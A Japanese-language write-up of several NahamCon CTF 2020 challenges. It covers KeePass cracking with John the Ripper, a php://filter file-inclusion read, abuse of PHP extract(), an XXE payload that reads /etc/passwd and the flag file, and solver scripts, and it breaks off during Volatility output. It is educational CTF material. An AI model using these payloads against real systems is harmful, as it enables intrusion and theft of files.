NahamCon CTF Writeup

この大会は2020/6/13 0:00(JST)~2020/6/14 7:00(JST)に開催されました。
今回もチームで参戦。結果は3715点で2854チーム中48位でした。
自分で解けた問題をWriteupとして書いておきます。

Easy Keesy (Warmup 30)

$ file easy_keesy 
easy_keesy: Keepass password database 2.x KDBX

Keepassのパスワードをクラックする。

$ keepass2john easy_keesy > hash.txt
$ john --wordlist=dict/rockyou.txt hash.txt --rules
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 100000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES, 1=TwoFish, 2=ChaCha]) is 0 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
monkeys          (easy_keesy)
1g 0:00:02:39 DONE (2020-06-13 14:37) 0.006250g/s 3.650p/s 3.650c/s 3.650C/s evelyn..monkeys
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

keepassファイルのパスワードはmonkeys。このパスワードを使って、KeePassのツールで開いてみる。Title: "flag"、User Name: "nahamcon"のパスワードにフラグがあった。
f:id:satou-y:20200619204955p:plain

flag{jtr_found_the_keys_to_kingdom}

Peter Rabbit (Warmup 40)

Pietの画像とわかるので、https://www.bertnase.de/npiet/npiet-execute.phpで実行する。

flag{ohhhpietwastherabbit}flag{ohhhpietwastherabbit}flag{ohhhpietwastherabbit}...
flag{ohhhpietwastherabbit}

Agent 95 (Web 50)

Windows95のUserAgentを指定して、アクセスする。

$ curl -A 'Mozilla/4.0 (compatible; MSIE 4.0; MSN 2.5; Windows 95)' http://jh2i.com:50000/
flag{user_agents_undercover}
<div style="text-align:center">
<br><br><br><br>
<b> NOT CHALLENGE RELATED:</b><br>THANK YOU to Digital Ocean for supporting NahamCon and NahamCon CTF!
<p>
<img width=600px src="https://d24wuq6o951i2g.cloudfront.net/img/events/id/457/457748121/assets/1b5a9739fd31b42fa4eb37ac6b3a6e1c.DOlogo.png">
</p>
</div>
flag{user_agents_undercover}

Localghost (Web 75)

http://jh2i.com:50003/jquery.jscroll2.jsを見てみる。

(function(_0xe943x1) {
    'use strict';
    _0xe943x1['jscroll'] = {
        defaults: {
            debug: false,
            autoTrigger: true,
            autoTriggerUntil: false,
            loadingHtml: '<small>Loading...</small>',
            padding: 0,
            nextSelector: 'a:last',
            contentSelector: '',
            pagingSelector: '',
            callback: false
        }
    };
    window['localStorage']['setItem']('flag', atob('SkNURntzcG9vb29va3lfZ2hvc3RzX2luX3N0b3JhZ2V9'));
    var _0xe943x2 = function(_0xe943x3, _0xe943x4) {
        var _0xe943x5 = _0xe943x3['data']('jscroll'),
            _0xe943x6 = (typeof _0xe943x4 === 'function') ? {
                callback: _0xe943x4
            } : _0xe943x4,

        :

このコード内にあるbase64らしき文字列をデコードする。

$ echo SkNURntzcG9vb29va3lfZ2hvc3RzX2luX3N0b3JhZ2V9 | base64 -d
JCTF{spoooooky_ghosts_in_storage}
JCTF{spoooooky_ghosts_in_storage}

Phphonebook (Web 100)

PHPスキームを使って、phphonebook.phpソースコードを見てみる。

$ curl http://jh2i.com:50002/index.php?file=php://filter/convert.base64-encode/resource=phphonebook.php
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>Phphonebook</title>
    <link href="main.css" rel="stylesheet">
  </head>
  <body>
	PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KICA8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICAgIDx0aXRsZT5QaHBob25lYm9vazwvdGl0bGU+CiAgICA8bGluayBocmVmPSJtYWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ij4KICA8L2hlYWQ+CgogIDxib2R5IGNsYXNzPSJiZyI+CiAgICA8aDEgaWQ9ImhlYWRlciI+IFdlbGNvbWUgdG8gdGhlIFBocGhvbmVib29rIDwvaDE+CgogICAgPGRpdiBpZD0iaW1fY29udGFpbmVyIj4KCiAgICAgIDxpbWcgc3JjPSJib29rLmpwZyIgd2lkdGg9IjUwJSIgaGVpZ2h0PSIzMCUiLz4KCiAgICAgIDxwIGNsYXNzPSJkZXNjIj4KICAgICAgVGhpcyBwaHBob25lYm9vayB3YXMgbWFkZSB0byBsb29rIHVwIGFsbCBzb3J0cyBvZiBudW1iZXJzISBIYXZlIGZ1bi4uLgogICAgICA8L3A+CgogICAgPC9kaXY+Cjxicj4KPGJyPgogICAgPGRpdj4KICAgICAgPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249IiMiPgogICAgICAgIDxsYWJlbCBpZD0iZm9ybV9sYWJlbCI+RW50ZXIgbnVtYmVyOiA8L2xhYmVsPgogICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJudW1iZXIiPgogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTdWJtaXQiPgogICAgICA8L2Zvcm0+CiAgICA8L2Rpdj4KCiAgICA8ZGl2IGlkPSJwaHBfY29udGFpbmVyIj4KICAgIDw/cGhwCiAgICAgIGV4dHJhY3QoJF9QT1NUKTsKCiAgICAJaWYgKGlzc2V0KCRlbWVyZ2VuY3kpKXsKICAgIAkJZWNobyhmaWxlX2dldF9jb250ZW50cygiL2ZsYWcudHh0IikpOwogICAgCX0KICAgID8+CiAgPC9kaXY+CiAgPC9icj4KICA8L2JyPgogIDwvYnI+CgoKPGRpdiBzdHlsZT0icG9zaXRpb246Zml4ZWQ7IGJvdHRvbToxJTsgbGVmdDoxJTsiPgo8YnI+PGJyPjxicj48YnI+CjxiPiBOT1QgQ0hBTExFTkdFIFJFTEFURUQ6PC9iPjxicj5USEFOSyBZT1UgdG8gSU5USUdSSVRJIGZvciBzdXBwb3J0aW5nIE5haGFtQ29uIGFuZCBOYWhhbUNvbiBDVEYhCjxwPgo8aW1nIHdpZHRoPTYwMHB4IHNyYz0iaHR0cHM6Ly9kMjR3dXE2bzk1MWkyZy5jbG91ZGZyb250Lm5ldC9pbWcvZXZlbnRzL2lkLzQ1Ny80NTc3NDgxMjEvYXNzZXRzL2Y3ZGEwZDcxOGViNzdjODNmNWNiNjIyMWEwNmEyZjQ1LmludGkucG5nIj4KPC9wPgo8L2Rpdj4KCiAgPC9ib2R5Pgo8L2h0bWw+

$ echo PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KICA8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICAgIDx0aXRsZT5QaHBob25lYm9vazwvdGl0bGU+CiAgICA8bGluayBocmVmPSJtYWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ij4KICA8L2hlYWQ+CgogIDxib2R5IGNsYXNzPSJiZyI+CiAgICA8aDEgaWQ9ImhlYWRlciI+IFdlbGNvbWUgdG8gdGhlIFBocGhvbmVib29rIDwvaDE+CgogICAgPGRpdiBpZD0iaW1fY29udGFpbmVyIj4KCiAgICAgIDxpbWcgc3JjPSJib29rLmpwZyIgd2lkdGg9IjUwJSIgaGVpZ2h0PSIzMCUiLz4KCiAgICAgIDxwIGNsYXNzPSJkZXNjIj4KICAgICAgVGhpcyBwaHBob25lYm9vayB3YXMgbWFkZSB0byBsb29rIHVwIGFsbCBzb3J0cyBvZiBudW1iZXJzISBIYXZlIGZ1bi4uLgogICAgICA8L3A+CgogICAgPC9kaXY+Cjxicj4KPGJyPgogICAgPGRpdj4KICAgICAgPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249IiMiPgogICAgICAgIDxsYWJlbCBpZD0iZm9ybV9sYWJlbCI+RW50ZXIgbnVtYmVyOiA8L2xhYmVsPgogICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJudW1iZXIiPgogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTdWJtaXQiPgogICAgICA8L2Zvcm0+CiAgICA8L2Rpdj4KCiAgICA8ZGl2IGlkPSJwaHBfY29udGFpbmVyIj4KICAgIDw/cGhwCiAgICAgIGV4dHJhY3QoJF9QT1NUKTsKCiAgICAJaWYgKGlzc2V0KCRlbWVyZ2VuY3kpKXsKICAgIAkJZWNobyhmaWxlX2dldF9jb250ZW50cygiL2ZsYWcudHh0IikpOwogICAgCX0KICAgID8+CiAgPC9kaXY+CiAgPC9icj4KICA8L2JyPgogIDwvYnI+CgoKPGRpdiBzdHlsZT0icG9zaXRpb246Zml4ZWQ7IGJvdHRvbToxJTsgbGVmdDoxJTsiPgo8YnI+PGJyPjxicj48YnI+CjxiPiBOT1QgQ0hBTExFTkdFIFJFTEFURUQ6PC9iPjxicj5USEFOSyBZT1UgdG8gSU5USUdSSVRJIGZvciBzdXBwb3J0aW5nIE5haGFtQ29uIGFuZCBOYWhhbUNvbiBDVEYhCjxwPgo8aW1nIHdpZHRoPTYwMHB4IHNyYz0iaHR0cHM6Ly9kMjR3dXE2bzk1MWkyZy5jbG91ZGZyb250Lm5ldC9pbWcvZXZlbnRzL2lkLzQ1Ny80NTc3NDgxMjEvYXNzZXRzL2Y3ZGEwZDcxOGViNzdjODNmNWNiNjIyMWEwNmEyZjQ1LmludGkucG5nIj4KPC9wPgo8L2Rpdj4KCiAgPC9ib2R5Pgo8L2h0bWw+ | base64 -d
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>Phphonebook</title>
    <link href="main.css" rel="stylesheet">
  </head>

  <body class="bg">
    <h1 id="header"> Welcome to the Phphonebook </h1>

    <div id="im_container">

      <img src="book.jpg" width="50%" height="30%"/>

      <p class="desc">
      This phphonebook was made to look up all sorts of numbers! Have fun...
      </p>

    </div>
<br>
<br>
    <div>
      <form method="POST" action="#">
        <label id="form_label">Enter number: </label>
        <input type="text" name="number">
        <input type="submit" value="Submit">
      </form>
    </div>

    <div id="php_container">
    <?php
      extract($_POST);

    	if (isset($emergency)){
    		echo(file_get_contents("/flag.txt"));
    	}
    ?>
  </div>
  </br>
  </br>
  </br>


<div style="position:fixed; bottom:1%; left:1%;">
<br><br><br><br>
<b> NOT CHALLENGE RELATED:</b><br>THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!
<p>
<img width=600px src="https://d24wuq6o951i2g.cloudfront.net/img/events/id/457/457748121/assets/f7da0d718eb77c83f5cb6221a06a2f45.inti.png">
</p>
</div>

  </body>
</html>

emergencyの値を適当にセットして、POSTすればよさそう。

$ curl -X POST -d 'emergency=a' http://jh2i.com:500onebook.php
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>Phphonebook</title>
    <link href="main.css" rel="stylesheet">
  </head>

  <body class="bg">
    <h1 id="header"> Welcome to the Phphonebook </h1>

    <div id="im_container">

      <img src="book.jpg" width="50%" height="30%"/>

      <p class="desc">
      This phphonebook was made to look up all sorts of numbers! Have fun...
      </p>

    </div>
<br>
<br>
    <div>
      <form method="POST" action="#">
        <label id="form_label">Enter number: </label>
        <input type="text" name="number">
        <input type="submit" value="Submit">
      </form>
    </div>

    <div id="php_container">
    flag{phon3_numb3r_3xtr4ct3d}
  </div>
  </br>
  </br>
  </br>


<div style="position:fixed; bottom:1%; left:1%;">
<br><br><br><br>
<b> NOT CHALLENGE RELATED:</b><br>THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!
<p>
<img width=600px src="https://d24wuq6o951i2g.cloudfront.net/img/events/id/457/457748121/assets/f7da0d718eb77c83f5cb6221a06a2f45.inti.png">
</p>
</div>

  </body>
</html>
flag{phon3_numb3r_3xtr4ct3d}

Extraterrestrial (Web 125)

aと入れ、Submitすると、Invalid document endになる。xmlで入れる必要があるのかもしれない。

<html></html>

上記を入力したら、以下のように出力された。

array(0) {
}

恐らく、XXEの問題。今度はこう入力してみる。

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<content>&xxe;</content>

すると、以下のように出力された。

array(1) {
  ["xxe"]=>
  string(926) "root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
"
}

そして、いよいよflag.txtを狙う。

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///flag.txt">]>
<content>&xxe;</content>

フラグが出力された。

array(1) {
  ["xxe"]=>
  string(38) "flag{extraterrestrial_extra_entities}
"
}
flag{extraterrestrial_extra_entities}

Rotten (Scripting 100)

$ nc jh2i.com 50034
send back this line exactly. no flag here, just filler.
send back this line exactly. no flag here, just filler.
htcs qprz iwxh axct tmprian. rwpgpritg 30 du iwt uapv xh '}'
send back this line exactly. character 30 of the flag is '}'
pbka yxzh qefp ifkb buxzqiv. kl cixd ebob, grpq cfiibo.
send back this line exactly. no flag here, just filler.
lxgw utvd mabl ebgx xqtvmer. gh yetz axkx, cnlm ybeexk.
send back this line exactly. no flag here, just filler.
coxn lkmu drsc vsxo ohkmdvi. mrkbkmdob 19 yp dro pvkq sc 'y'

シーザー暗号を交えて、情報が与えられる。復号した結果を返しながら、フラグを作っていく。

import socket
import string
import re

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def decrypt(s):
    key = string.lowercase.index(s[0]) - string.lowercase.index('s')
    dec = ''
    for c in s:
        if c in string.lowercase:
            index = (string.lowercase.index(c) - key) % 26
            dec += string.lowercase[index]
        else:
            dec += c
    return dec

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('jh2i.com', 50034))

flag_list = ['*'] * 31
while True:
    data = recvuntil(s, '\n').rstrip()
    print data
    pt = decrypt(data)
    print pt
    s.sendall(pt + '\n')
    if 'no flag here' not in pt:
        pattern = 'character (.+) of the flag is \'(.+)\''
        m = re.search(pattern, pt)
        index = int(m.group(1))
        char = m.group(2)
        flag_list[index] = char

    flag = ''.join(flag_list)
    if '*' not in flag:
        break

print flag

実行結果は以下の通り。

          :
gsbr poqy hvwg zwbs sloqhzm. bc tzou vsfs, xigh twzzsf.
send back this line exactly. no flag here, just filler.
wirh fego xlmw pmri ibegxpc. rs jpek livi, nywx jmppiv.
send back this line exactly. no flag here, just filler.
bnwm kjlt cqrb urwn ngjlcuh. wx oujp qnan, sdbc oruuna.
send back this line exactly. no flag here, just filler.
amvl jiks bpqa tqvm mfikbtg. kpizikbmz 5 wn bpm ntio qa 'v'
send back this line exactly. character 5 of the flag is 'n'
fraq onpx guvf yvar rknpgyl. ab synt urer, whfg svyyre.
send back this line exactly. no flag here, just filler.
gsbr poqy hvwg zwbs sloqhzm. qvofoqhsf 6 ct hvs tzou wg 'c'
send back this line exactly. character 6 of the flag is 'o'
gsbr poqy hvwg zwbs sloqhzm. bc tzou vsfs, xigh twzzsf.
send back this line exactly. no flag here, just filler.
yktj hgiq znoy rotk kdgizre. tu lrgm nkxk, payz lorrkx.
send back this line exactly. no flag here, just filler.
gsbr poqy hvwg zwbs sloqhzm. qvofoqhsf 11 ct hvs tzou wg 'i'
send back this line exactly. character 11 of the flag is 'u'
flag{now_you_know_your_caesars}
flag{now_you_know_your_caesars}

Really Powerful Gnomes (Scripting 150)

$ nc jh2i.com 50031

Welcome to Newlandia!!!
Unfortunately, the villagers have become attacked by gnomes.

They need YOU to help take back their land!



What would you like to do?
Gold: 100
Weapon level: 0

1. Defeat the gnomes (level 10)
2. Fight a dragon (level 7)
3. Raid the cyclops (level 5)
4. Plunder the pirates (level 3)
5. Go on a journey (level 1)
6. Browse the shop
7. End journey

> 6

Gold: 100
Weapon level: 0

1. sword (100 gold) (level 1)
2. bow (1000 gold) (level 3)
3. axe (2000 gold) (level 5)
4. missle launcher (10000 gold) (level 7)
5. tank (100000 gold) (level 10)

What would you like to buy? (press 0 to exit the shop): 1

sword bought

What would you like to do?
Gold: 0
Weapon level: 1

1. Defeat the gnomes (level 10)
2. Fight a dragon (level 7)
3. Raid the cyclops (level 5)
4. Plunder the pirates (level 3)
5. Go on a journey (level 1)
6. Browse the shop
7. End journey

> 5

Congrats you have returned from your journey with 4 gold

What would you like to do?
Gold: 4
Weapon level: 1

1. Defeat the gnomes (level 10)
2. Fight a dragon (level 7)
3. Raid the cyclops (level 5)
4. Plunder the pirates (level 3)
5. Go on a journey (level 1)
6. Browse the shop
7. End journey

> 5

Congrats you have returned from your journey with 9 gold

What would you like to do?
Gold: 13
Weapon level: 1

1. Defeat the gnomes (level 10)
2. Fight a dragon (level 7)
3. Raid the cyclops (level 5)
4. Plunder the pirates (level 3)
5. Go on a journey (level 1)
6. Browse the shop
7. End journey

> 5

Congrats you have returned from your journey with 3 gold

What would you like to do?
Gold: 16
Weapon level: 1

1. Defeat the gnomes (level 10)
2. Fight a dragon (level 7)
3. Raid the cyclops (level 5)
4. Plunder the pirates (level 3)
5. Go on a journey (level 1)
6. Browse the shop
7. End journey

> 5

Congrats you have returned from your journey with 8 gold

What would you like to do?
Gold: 24
Weapon level: 1

1. Defeat the gnomes (level 10)
2. Fight a dragon (level 7)
3. Raid the cyclops (level 5)
4. Plunder the pirates (level 3)
5. Go on a journey (level 1)
6. Browse the shop
7. End journey

> 5

Congrats you have returned from your journey with 4 gold

What would you like to do?
Gold: 28
Weapon level: 1

1. Defeat the gnomes (level 10)
2. Fight a dragon (level 7)
3. Raid the cyclops (level 5)
4. Plunder the pirates (level 3)
5. Go on a journey (level 1)
6. Browse the shop
7. End journey

> 5

Congrats you have returned from your journey with 9 gold

What would you like to do?
Gold: 37
Weapon level: 1

1. Defeat the gnomes (level 10)
2. Fight a dragon (level 7)
3. Raid the cyclops (level 5)
4. Plunder the pirates (level 3)
5. Go on a journey (level 1)
6. Browse the shop
7. End journey

> 5

Congrats you have returned from your journey with 6 gold

What would you like to do?
Gold: 43
Weapon level: 1

1. Defeat the gnomes (level 10)
2. Fight a dragon (level 7)
3. Raid the cyclops (level 5)
4. Plunder the pirates (level 3)
5. Go on a journey (level 1)
6. Browse the shop
7. End journey

> 5

Congrats you have returned from your journey with 3 gold

What would you like to do?
Gold: 46
Weapon level: 1

1. Defeat the gnomes (level 10)
2. Fight a dragon (level 7)
3. Raid the cyclops (level 5)
4. Plunder the pirates (level 3)
5. Go on a journey (level 1)
6. Browse the shop
7. End journey

> 5

Congrats you have returned from your journey with 5 gold

What would you like to do?
Gold: 51
Weapon level: 1

1. Defeat the gnomes (level 10)
2. Fight a dragon (level 7)
3. Raid the cyclops (level 5)
4. Plunder the pirates (level 3)
5. Go on a journey (level 1)
6. Browse the shop
7. End journey

> 5

Congrats you have returned from your journey with 3 gold

What would you like to do?
Gold: 54
Weapon level: 1

1. Defeat the gnomes (level 10)
2. Fight a dragon (level 7)
3. Raid the cyclops (level 5)
4. Plunder the pirates (level 3)
5. Go on a journey (level 1)
6. Browse the shop
7. End journey

> 5

Congrats you have returned from your journey with 9 gold

What would you like to do?
Gold: 63
Weapon level: 1

1. Defeat the gnomes (level 10)
2. Fight a dragon (level 7)
3. Raid the cyclops (level 5)
4. Plunder the pirates (level 3)
5. Go on a journey (level 1)
6. Browse the shop
7. End journey

> 5

Congrats you have returned from your journey with 5 gold

What would you like to do?
Gold: 68
Weapon level: 1

1. Defeat the gnomes (level 10)
2. Fight a dragon (level 7)
3. Raid the cyclops (level 5)
4. Plunder the pirates (level 3)
5. Go on a journey (level 1)
6. Browse the shop
7. End journey

> 5

Congrats you have returned from your journey with 5 gold

What would you like to do?
Gold: 73
Weapon level: 1

1. Defeat the gnomes (level 10)
2. Fight a dragon (level 7)
3. Raid the cyclops (level 5)
4. Plunder the pirates (level 3)
5. Go on a journey (level 1)
6. Browse the shop
7. End journey

> 5

Congrats you have returned from your journey with 2 gold

What would you like to do?
Gold: 75
Weapon level: 1

1. Defeat the gnomes (level 10)
2. Fight a dragon (level 7)
3. Raid the cyclops (level 5)
4. Plunder the pirates (level 3)
5. Go on a journey (level 1)
6. Browse the shop
7. End journey

> 5

Congrats you have returned from your journey with 8 gold

What would you like to do?
Gold: 83
Weapon level: 1

1. Defeat the gnomes (level 10)
2. Fight a dragon (level 7)
3. Raid the cyclops (level 5)
4. Plunder the pirates (level 3)
5. Go on a journey (level 1)
6. Browse the shop
7. End journey

> 5

Congrats you have returned from your journey with 9 gold

What would you like to do?
Gold: 92
Weapon level: 1

1. Defeat the gnomes (level 10)
2. Fight a dragon (level 7)
3. Raid the cyclops (level 5)
4. Plunder the pirates (level 3)
5. Go on a journey (level 1)
6. Browse the shop
7. End journey

> 5

Congrats you have returned from your journey with 2 gold

What would you like to do?
Gold: 94
Weapon level: 1

1. Defeat the gnomes (level 10)
2. Fight a dragon (level 7)
3. Raid the cyclops (level 5)
4. Plunder the pirates (level 3)
5. Go on a journey (level 1)
6. Browse the shop
7. End journey

> 5

Congrats you have returned from your journey with 3 gold

What would you like to do?
Gold: 97
Weapon level: 1

1. Defeat the gnomes (level 10)
2. Fight a dragon (level 7)
3. Raid the cyclops (level 5)
4. Plunder the pirates (level 3)
5. Go on a journey (level 1)
6. Browse the shop
7. End journey

> 5

Congrats you have returned from your journey with 4 gold

What would you like to do?
Gold: 101
Weapon level: 1

1. Defeat the gnomes (level 10)
2. Fight a dragon (level 7)
3. Raid the cyclops (level 5)
4. Plunder the pirates (level 3)
5. Go on a journey (level 1)
6. Browse the shop
7. End journey

> 5

Congrats you have returned from your journey with 9 gold

What would you like to do?
Gold: 110
Weapon level: 1

1. Defeat the gnomes (level 10)
2. Fight a dragon (level 7)
3. Raid the cyclops (level 5)
4. Plunder the pirates (level 3)
5. Go on a journey (level 1)
6. Browse the shop
7. End journey

> 6

Gold: 110
Weapon level: 1

1. sword (100 gold) (level 1)
2. bow (1000 gold) (level 3)
3. axe (2000 gold) (level 5)
4. missle launcher (10000 gold) (level 7)
5. tank (100000 gold) (level 10)

少しずつお金をためながら、レベルの高い武器を手に入れ、レベル10の武器を手に入れ、gnomeを倒せばよさそう。

import socket
import re

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def get_info(data):
    pattern = 'Gold: (.+)\nWeapon level: (.+)\n'
    m = re.search(pattern, data)
    return int(m.group(1)), int(m.group(2))

def buy(index):
    print '6'
    s.sendall('6\n')
    data = recvuntil(s, 'shop): ')
    print data + str(index)
    s.sendall(str(index) + '\n')

def get_gold(index):
    print index
    s.sendall(str(index) + '\n')

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('jh2i.com', 50031))

while True:
    data = recvuntil(s, '> ')
    print data[:-1],
    gold, level = get_info(data)

    ## buy
    if level < 1 and gold >= 100:
        buy(1)
    elif level < 3 and gold >= 1000:
         buy(2)
    elif level < 5 and gold >= 2000:
        buy(3)
    elif level < 7 and gold >= 10000:
        buy(4)
    elif level < 10 and gold >= 100000:
        buy(5)

    ## get gold
    else:
        if level < 3:
            get_gold(5)
        elif level < 5:
            get_gold(4)
        elif level < 7:
            get_gold(3)
        elif level < 10:
            get_gold(2)
        elif level == 10:
            print 1
            s.sendall('1\n')
            break
    
data = recvuntil(s, '\n').rstrip()
print data
data = recvuntil(s, '\n').rstrip()
print data
data = recvuntil(s, '\n').rstrip()
print data

実行結果は以下の通り。

        :
What would you like to do?
Gold: 100000
Weapon level: 7

1. Defeat the gnomes (level 10)
2. Fight a dragon (level 7)
3. Raid the cyclops (level 5)
4. Plunder the pirates (level 3)
5. Go on a journey (level 1)
6. Browse the shop
7. End journey

> 6

Gold: 100000
Weapon level: 7

1. sword (100 gold) (level 1)
2. bow (1000 gold) (level 3)
3. axe (2000 gold) (level 5)
4. missle launcher (10000 gold) (level 7)
5. tank (100000 gold) (level 10)

What would you like to buy? (press 0 to exit the shop): 5

tank bought

What would you like to do?
Gold: 0
Weapon level: 10

1. Defeat the gnomes (level 10)
2. Fight a dragon (level 7)
3. Raid the cyclops (level 5)
4. Plunder the pirates (level 3)
5. Go on a journey (level 1)
6. Browse the shop
7. End journey

> 1

YAYYY!!! You have defeated the gnomes and saved the villagers
Here's your flag: flag{it_was_in_fact_you_that_was_really_powerful}
flag{it_was_in_fact_you_that_was_really_powerful}

Microsooft (Forensics 100)

microsooft.docxを解凍する。展開されたsrc/oof.txtにフラグが含まれていた。

flag{oof_is_right_why_gfxdata_though}

Volatile (Forensics 125)

$ volatility -f memdump.raw imageinfo
Volatility Foundation Volatility Framework 2.6
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : Win7SP1x86_23418, Win7SP0x86, Win7SP1x86
                     AS Layer1 : IA32PagedMemoryPae (Kernel AS)
                     AS Layer2 : FileAddressSpace (/mnt/hgfs/Shared/work/memdump.raw)
                      PAE type : PAE
                           DTB : 0x185000L
                          KDBG : 0x8276fc28L
          Number of Processors : 1
     Image Type (Service Pack) : 1
                KPCR for CPU 0 : 0x82770c00L
             KUSER_SHARED_DATA : 0xffdf0000L
           Image date and time : 2020-04-20 21:16:55 UTC+0000
     Image local date and time : 2020-04-20 14:16:55 -0700

$ volatility -f memdump.raw --profile=Win7SP1x86_23418 pstree
Volatility Foundation Volatility Framework 2.6
Name                                                  Pid   PPid   Thds   Hnds Time
-------------------------------------------------- ------ ------ ------ ------ ----
 0x85282708:csrss.exe                                 300    292      9    429 2020-04-20 20:53:24 UTC+0000
 0x844a40f0:wininit.exe                               336    292      3     76 2020-04-20 20:53:30 UTC+0000
. 0x85a98030:services.exe                             428    336     13    204 2020-04-20 20:53:31 UTC+0000
.. 0x85d1b430:svchost.exe                             640    428      9    260 2020-04-20 20:53:32 UTC+0000
.. 0x85ea0bc8:wmpnetwk.exe                           3188    428     12    213 2020-04-20 21:16:14 UTC+0000
.. 0x8534e5e0:svchost.exe                            1308    428     16    362 2020-04-20 21:15:20 UTC+0000
.. 0x84dac920:svchost.exe                             884    428     35    850 2020-04-20 20:53:34 UTC+0000
.. 0x84dcf128:svchost.exe                             932    428     22    530 2020-04-20 20:53:34 UTC+0000
... 0x85e9ab08:audiodg.exe                           2940    932      6    125 2020-04-20 21:16:08 UTC+0000
.. 0x84dad888:svchost.exe                             860    428     30    597 2020-04-20 20:53:34 UTC+0000
... 0x85123478:dwm.exe                               2120    860      5     72 2020-04-20 21:15:58 UTC+0000
.. 0x85d660c8:sppsvc.exe                              820    428      7    150 2020-04-20 20:53:33 UTC+0000
.. 0x85d05030:svchost.exe                             568    428     13    368 2020-04-20 20:53:31 UTC+0000
.. 0x850427d8:SearchIndexer.                         1736    428     15    731 2020-04-20 21:15:51 UTC+0000
... 0x851413a8:SearchFilterHo                        1120   1736      6    164 2020-04-20 21:15:52 UTC+0000
... 0x85936d40:SearchProtocol                        3324   1736      7    255 2020-04-20 21:16:15 UTC+0000
... 0x85ae6b58:SearchProtocol                        1008   1736      9    440 2020-04-20 21:15:52 UTC+0000
.. 0x850a5548:svchost.exe                             976    428     12    360 2020-04-20 21:15:48 UTC+0000
.. 0x84f747f0:svchost.exe                            1016    428     26    241 2020-04-20 21:15:36 UTC+0000
.. 0x85a128a8:taskhost.exe                           2168    428     10    184 2020-04-20 21:15:59 UTC+0000
.. 0x84e26500:TrustedInstall                         1452    428      4    115 2020-04-20 21:15:21 UTC+0000
.. 0x84e45b88:spoolsv.exe                            1628    428     16    294 2020-04-20 21:15:21 UTC+0000
.. 0x8520da48:svchost.exe                            1268    428     31    475 2020-04-20 21:15:20 UTC+0000
.. 0x84e6c5f0:svchost.exe                            1656    428     22    320 2020-04-20 21:15:21 UTC+0000
. 0x85ac7b10:lsass.exe                                452    336     12    721 2020-04-20 20:53:31 UTC+0000
. 0x85aca030:lsm.exe                                  460    336     11    137 2020-04-20 20:53:31 UTC+0000
 0x8443c770:System                                      4      0     77    551 2020-04-20 20:53:23 UTC+0000
. 0x8522fc28:smss.exe                                 220      4      2     29 2020-04-20 20:53:23 UTC+0000
 0x85930500:rundll32.exe                             2316   2304      5     68 2020-04-20 21:15:59 UTC+0000
 0x85a10520:explorer.exe                             2136   2104     32    779 2020-04-20 21:15:59 UTC+0000
. 0x85a06b50:regsvr32.exe                            2436   2136      0 ------ 2020-04-20 21:16:00 UTC+0000
. 0x85ea04f0:cmd.exe                                 3460   2136      1     18 2020-04-20 21:16:21 UTC+0000
 0x8599a030:rundll32.exe                             2336   2324      5     68 2020-04-20 21:15:59 UTC+0000
 0x85898d40:winlogon.exe                              372    328      8    130 2020-04-20 20:53:31 UTC+0000
 0x85261568:csrss.exe                                 344    328      8    223 2020-04-20 20:53:30 UTC+0000
. 0x85e6bd40:conhost.exe                             3468    344      2     51 2020-04-20 21:16:21 UTC+0000
